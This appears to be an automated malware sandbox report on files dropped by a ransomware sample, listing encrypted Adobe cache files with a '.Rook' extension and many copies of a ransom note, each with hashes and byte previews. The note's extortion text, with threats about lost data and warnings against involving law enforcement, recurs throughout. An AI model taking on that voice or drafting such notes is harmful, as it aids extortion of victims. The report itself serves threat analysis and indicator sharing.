Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt21.lst.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	PGP\011Secret Sub-key -
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.858548964543015
Encrypted:	false
SSDEEP:	96:buTuG0M3LkSo47Ko4/AAUn5U50+NS43LPuLjv:buTuG0M3LkSgoiM5U50B43LPun
MD5:	524136C47461F448ECA116B8BA9BF4D9
SHA1:	DB4A33F5763BA0964F04D6A6DCF8EEBEEF202432
SHA-256:	F55D36EEE0465C29D618B81552CC0DE5A1DE5BA6E0D172C29B8AED5D81FF8B20
SHA-512:	70BA5CC351B911C0BD94195E24C8D8A39607E0EAC4BB3C99BF45D91BE9E4CDB69B48CEB662FDB867EF6DF88B03503771D6A28BAB242267DEBD4A599211366535
Malicious:	false
Preview:	.....O.H.A(.l.?. 1.16.%Locale:0x..v..6.....=.Handler:Director.sg..j..a...`.`e:CMap.CMapName:k....+..Dz.D.V..try:Adobe.Orderi\e.....I..<....ineFileName:C:\P].^.-.......".6)\Adobe\Acrobat9&.`nd:..+.Q.SMrce\CMap\Identit...7.'.6.4.,Z228.FileModTime:^.!.%..FW...^..ont..%BeginFont.........6.o.'~.0yHandler.FontTyp..E.#TH..\|.#...Identity-V.Regis.As..U.......\|L^ng:Identity.UseC..X...Vk...:..i.utlineFileName:C5....)..K9....(x86)\Adobe\Acrou.bd...?....L...source\CMap\Iden.r..A....Vs`...h:2761.FileModTi.UR.\.a..h...58.ndFont..%BeginFo...gW.:/..%R....toryHandler.Font.#F.+f..W.vvW..me:Identity-H.Rey...e...4x.....ering:Identity.O.....o....h....:\Program Files a.=X.>L0h7.k..fbat Reader DC\Re.+..(..3.;.....^tity-H.FileLengts..v..x.^..a.4;me:1426606452.%E....Y.q.>4^..nt.Handler:Direc.>..8!.7.~.j.~.Type:CMap.CMapNaT.j.!...^......gistry:Adobe.Ord...U.d..R.B.h.7.seCMap:Identity-...E.........{e:C:\Program FilB.7....{...\P.crobat Reader DC%...HP..F..)/.dentity-V.FileLe.+..j=.%

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt21.lst.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	103272
Entropy (8bit):	7.248282755289467
Encrypted:	false
SSDEEP:	3072:YPoEk4YF/bSAky+4VqE0aiOmIEfXprtkakykXXFq0o7GI:YPob/p+xENiOmIEfXprtkaky8XFboaI
MD5:	DC452B0FAC7EA25177C6041944989CDD
SHA1:	69EBF17FFD565AA62F086F76ABC28F93B720D07F
SHA-256:	FFCDC603DAEDF772A54F00FDE883FC26039FE1D0530777482CC2BDFDA19C2A02
SHA-512:	6F94A8C5DBDF2281CA424438A7C82A4E30323CDCAC48625333929ADB95796BF0C8302EF44CC946CB1ECBEFA2667314BDC35D0845F38D02663D3007DD35775EC0
Malicious:	false
Preview:	u..}q...9....fv 1.16.%Locale:0x.@...^]..k.q/g.:Handler:WinTTHan.(.h?."....@ZueType.FontName:..;...S..m.....me:Marlett.Style1I..T....y.6...wuName:Marlett.St0...Q.3.Q..~V...Class:500.WidthCQ..w<..#b.P..Ibts:0.FullName:Mar..IY.Zc.....2.T%pt:Roman.WinName...G.....~`/E.qgth:27724.NameAr;.Yd.Q:.Fx..}.(Gett.NameArray:0,?.=.C.m.I/...A.meArray:0,Win,1,.p.ms...."..+....%BeginFont.Han......<..n..v.\.r.FontType:TrueTq.~.....c.].f7alMT.FamilyName:...#.=......sH.Regular.MenuNames.E.uy..("....@H:0.WeightClass:4.0-'.4-..R....AngleClass:0.FulU.._...d..3...%.ingScript:Roman.^.....T.B..g3..leLength:1036584tr$...B. ...W_,1,Arial.NameArrJ2..7...xtk.z..NameArray:0,Win.M...Ve..b..SG.t..%BeginFont.Ha..H...u....}v.er.FontType:True..p.....M..,.(.ial-BoldMT.Famil...4.P......&+.feName:Bold.MenuN.9K.@.W..1h..5h.its:2.WeightClasw...m..e.D.....:5.AngleClass:0....5...ex.o....old.WritingScrip.k:.{.G..\...NArial Bold.FileLf..^8B]....q..l.eArray:0,Win,1,A.3=F.*..;.5..u.,Mac,4,Arial Bol.....6

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt21.lst.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	12152
Entropy (8bit):	7.491876770035443
Encrypted:	false
SSDEEP:	192:02ffJNRlIRg7EeyZ4JbT8eBpBTJJ5PQCe1TBLuW6da35ZCpmlWNdOxewoiM5U50p:02XJNjPXMevPJ5YH1TBKW6CZCpRTJO3C
MD5:	F8BD16339FA33D903066A363C067D27B
SHA1:	84D8C68DDB78EF71466CF2A3E3023453C81B16D2
SHA-256:	1C146135FC08657505233FD058DFA34F6F826F99F17C766E90CB24AF750E0760
SHA-512:	1DAB38C394008C74355AC5668B279C0DF5822D6479E69C6374F6D6DEE19B080F75A04DB607F9FD1F123D0F3F3D6A6E84E653413CDF41C36F002787C7760CBAFD
Malicious:	false
Preview:	...~......~.$..C 1.16.%Locale:0x....,..vZRy5@h9.Handler:Director..P..\|)iQ....(.Be:CMap.CMapName:..Z.......p\_..stry:Adobe.OrderiD.GN....h....%.ineFileName:C:\P.:....K..j...{..6)\Adobe\Acrobat.....j{..'"..b..rce\CMap\Identit...4......e..-.228.FileModTime:.@.......#\....ont..%BeginFont.......<..gY.!..pyHandler.FontTyp..pKj.&6......QIdentity-V.Regisa..0....:F....ng:Identity.UseC...m..j....- ..utlineFileName:C..Y..0..5.7D.3.B(x86)\Adobe\Acro..i.B..^.....t..source\CMap\Iden....G..^...U...>h:2761.FileModTi.K..8..E'Q..z...ndFont..%BeginFo..{=@..@.0..7..toryHandler.Fonto\..z..2 .n..(.same:AdobePiStd.F..". ._.V..+5B.Pi Std.StyleName... =c-.j....e:Adobe Pi Std.M..q,...].3z.= Std.StyleBits:0.X..A...{.,.b..oman.OutlineFile}..b.v?t..(.(..hFiles (x86)\Adob..Cp..'~!....{<. DC\Resource\Fon6L..X:...$..pm..DataFormat:sfntKK...M.:F".1.m{!dEncoding:yes.is......gb..s.%..th:85552.FileModH...$G.m8.....OWeightClass:400.......9E3..X.;.leClass:0.Designr.SS.!..)o...)ay:0,Mac,4,Adobe..K[....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	315496
Entropy (8bit):	5.5998530440528835
Encrypted:	false
SSDEEP:	1536:amGS52KTac07W9SdQ/CvaTrdnDHAONhsUvr0fEpRXTJ7Tz/y23y0s+yKe:qakUvQEpd5TH3y0s+yx
MD5:	0EA226A6D268E527C14C8B7261900458
SHA1:	72D361D45E519482B25225C8378A6C6B4FC28FC4
SHA-256:	15A97E85612BF50D0CCDE77D7AE5A80FB8FE30F06744815A061A9E90F904155B
SHA-512:	9074DFCFD350D822300848AA437BB38A896E81D38992AB8EE30C5AF2D98FA37B4420F19AFB62048B3E92E9AF86591FEA39620BEE0ECFDC9B4ECB72C68A79300A
Malicious:	false
Preview:	"S.b..E}C .....ader DC (32-bit)i+..J....5.....A12_SelectObject....A."...DY...X...................g.....b......................g.....b......................g.....b......................g.....b....~~~@~~~ ..........g.....b......................g.....b......................g.....b....~~~.~~~.~~~.......g.....b......................g.....b......................g.....b....~~~.~~~.~~~.~~~.gP...1'".....'....................g.....b......................g.....b....~~~.~~~.~~~.~~~./.A*.p..,A.......................g.....b......................g.....b....~~~.~~~.~~~.~~~GGA..5>i.j8../6....................g.....b......................g.....b....~~~.~~~.~~~.~~~.;.6M...P<.m.N5....................g.....b......................g.....b....~~~.~~~.~~~.~~~..M...xI..{.q..>0..................g.....b......................g.....b....~~~.~~~.~~~.~~~m...'.6.d....p.".~~~...............g.....b......................g.....b....~~~.~~~.~~~.~~~m...'.6.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\Files\TESTING.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	7.915296420723999
Encrypted:	false
SSDEEP:	48:2L4NykCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:2L4Nyp7Ko4/AAUn5U50+NS43LPuLjv
MD5:	A57E57E3C2239A0C522601122E5EE727
SHA1:	B881D07CFCA064F12B4FCB9F8909CE19CA332F4A
SHA-256:	52736B5F60165A324C17BBE5F2E9AB997EAC7E98AA58AEB9B03E5A794587753B
SHA-512:	DFC6EE42EFBD727F001B09C5AB266D198D49180DD2B24590DD075A7B821C274893FB400211D5EFE8474EAA5F2BD626FC30E76E913C594C025E18375E3759FF23
Malicious:	false
Preview:	.%&`".C.].R~............................W....Eb..E.....#.... ..6....rS{......?V...`.$..@.c..h..<....O...d........L[j=.H...../..s...f..E.%.n.....5....%.99u.....#.p."#..H.b)..t.....#..'Z.l^....k$I.1...Z.H....V./<..3wc./..d.mXw.W.&DV..E... ...?mC.tC.n.3.r..^...j..K..../.S.V.q.%.a....7.~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..'1.Hu$d...6[..9v9.OQr..q.....\|....~....7.u..\.BZ.M.o..,...9...[N..~.E.....G.E.$...c....P}........'#....._...j).....o..B.V...d

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Reader\SOPHIA.json.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	2728
Entropy (8bit):	7.919274006579648
Encrypted:	false
SSDEEP:	48:Vb974u/oPaCxV7wAOo4LVGXsAAa3n5lLq5mhL+NSdTmyO13KmhUwu/pBBlyK:v74gY7Ko4/AAUn5U50+NS43LPuLjv
MD5:	59FD9542CB701828F487E0F1BE570D5F
SHA1:	AAF88BCC4FCE9BEE570CC4A8CDC488CC553518A8
SHA-256:	38B6F6CF277C9646E0B5ED558AD196230F1A6FE4284D9F155DC3061424986077
SHA-512:	3C8F2E396580BA7E2CF08A61B34843E1ED35DD637BDD0525ED163F6A66743820D58596E093A5C21B94DEDFC0A99634A247450940AEEC042CF9236438DF430589
Malicious:	false
Preview:	.WS......a8u&%.PESTING","info":{.]W.....R.N...."TESTING"},"mime..-.....}.a.)...ze":4,"ts":16231.......&.:.@fo":{"Version":".Q...$?..X-5..........................#.6..l...G.....y6...0....I..2!..p.G9.12j...\,....i..M+]!..Yn..U$d....0\|...P.[<.....\|&.4.t.C/........]..4.../..@ C.W.v.l.@.....C4.VV&.. ..1.eE.!z4..^w.,..-....h..K....Z.@.. .cg..R..[..k.........d.T..K./.F.F\ .h.>,.!5o.._(5....B.Z....t........~...Z.!.U.;=.(.-+q.ekKV.zv}.L...M.b.q.{........j10I....e.....x...U.../.8.c..].-+.+.F.!...A.6...3\|;e..c...M....st{A...G^...B.TU.[L........N......{{.y.q...sz%^?..{]G>..F..>r.il.4.....2. ...0q..Z-..I_..4L....^...."X([P..OD....}.P......Bq..Ls.-....=...x..:x.......g...81ew.4.......3......}.,..\|^.%.3...\s...jC..n6.........)C)f.5....r.K2.7.W....D..`.."W.. .U.3/ep..F...?.{..HDe.R\v..KK.7.K5P...._B.F.wC.%..... .z).y0GTk.t........F_..A.J.....7....E......c5..x5aI.....b..1..N.......G..+u...*S/Z[SIR?..G....._..o..k'.d,. (....O...`..)...N.<.c..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	14872
Entropy (8bit):	4.860663064397955
Encrypted:	false
SSDEEP:	96:Nj3kfnKaWxRw7U3Oqv7Ko4/AAUn5U50+NS43LPuLjv:Nj35aWx+7gOquoiM5U50B43LPun
MD5:	40280AE29CCD2955847ED110868BA68A
SHA1:	795897E8891BEDAE4DE904727E57F5158FB5C1A3
SHA-256:	0EC7AF79008CB7C15DA5CD2D9A275E924BBA3BB4DA234BBAEB0AF91971BDBAC3
SHA-512:	E79250A034B8B62E086E2B55D41D8455BC3C120692FC6182CE90A6E52E68227E6AF6A473DD58A503FB139A1CD5C0CC02049D6F54DEF118B496A20E8CE08FD56D
Malicious:	false
Preview:	h?...T.$Z[r....[.....@ ........\w..p...../jgAF................)6.n.........90................y..CoS...a..$..................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n.........90................)6.n....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\ToolsSearchCacheRdr\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	42984
Entropy (8bit):	7.313426658250603
Encrypted:	false
SSDEEP:	768:k6IBxfZWn3/PLZkQrrIBtKHyAV/C+gioe:k6ihZWnXTrwtKSANC7e
MD5:	6A37309E354D08FABBD692670358C633
SHA1:	65EFE9E2921073258BBA96569E861650A9227E3C
SHA-256:	6D88AE87F284A96B420E266D56CEB0C4A363AA6F2E434B54E5E42D57DE0E50F5
SHA-512:	35E4F58908E8809CFC83DC18EF25B459332CDE50250FF68DCA543C80338D8ACC135A6351C09EB3920D4943AC232CB7DB20495B4807AFA7F1DFE3DDEF8AA0E317
Malicious:	false
Preview:	..q%ZQh.i_j9ZM.0:........:F:Aria..O...........m.Narrow.L:$.......fj.F.ol..B........"F:Arial Nar....z.O.h...'..o:........:F:Ari.....Fw..V.0...P:Arial Narrow Io.iD...p...&[v..................J.wF.K{&.).ow.#.103.FID.2:o.$..}.I...4Bc.lNarrow-Bold.P:A1.!....[n.w...$..L:%....................!...:Arial Narrow.#...=i:.6.....1.~....:F:ArialNarr...,...k.....;Arial Narrow Bol.....qVv...:8.....................#2.E..(%...arrow.#.75.FID.2..5#..._...-'..ialMT.P:Arial.L:.._.I.....?.$............"F:Ar.~.h.(O....oi-.f:........:F:Aria:.2.yu...&._y.al Italic.L:$...'.b<K...h.(].........."F:Arial.x.b`...{.j..I.r.....:F:Arial-Bo.H*..v..zL.....d.L:$...........Y....j...o..^.=.F:Arial.#.98.FID=..i..1..hs_.Arial-BoldItalicS..NJ...B..~vor.Italic.L:$.......c..[S...g.{.O...."F:Arial.#.9^^.vY........&..:F:Arial-Black.....?a..>.B..:-..............rB....w`t..9..S.rial Black.#.103/.A..q.%....?...:F:Bahnschrift.H.s..<.4jB.0RQ\|.ght.L:&.........F.......7.+..g.."F:Bahnschrift [...-gP.

C:\Users\user\AppData\Local\Adobe\Acrobat\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3192
Entropy (8bit):	7.773423683959449
Encrypted:	false
SSDEEP:	96:cAufnd1P9K7Ko4/AAUn5U50+NS43LPuLjv:Cfd1P9xoiM5U50B43LPun
MD5:	1B794924D1DD881266AD571BAA53C296
SHA1:	78701080E25502DAFC6FBC341B182EAC7A029AC3
SHA-256:	71EB7B55938137E9625534335A06FEF2C0158DA28C31F179A9DDAB484B9AC45F
SHA-512:	90962112ADF9B7F07C4C7682E3729B077904E02409596CBC2D57F1BDC6A4537517249936149688A3CF9560018DA384920527732223E6385F85124694097A4584
Malicious:	false
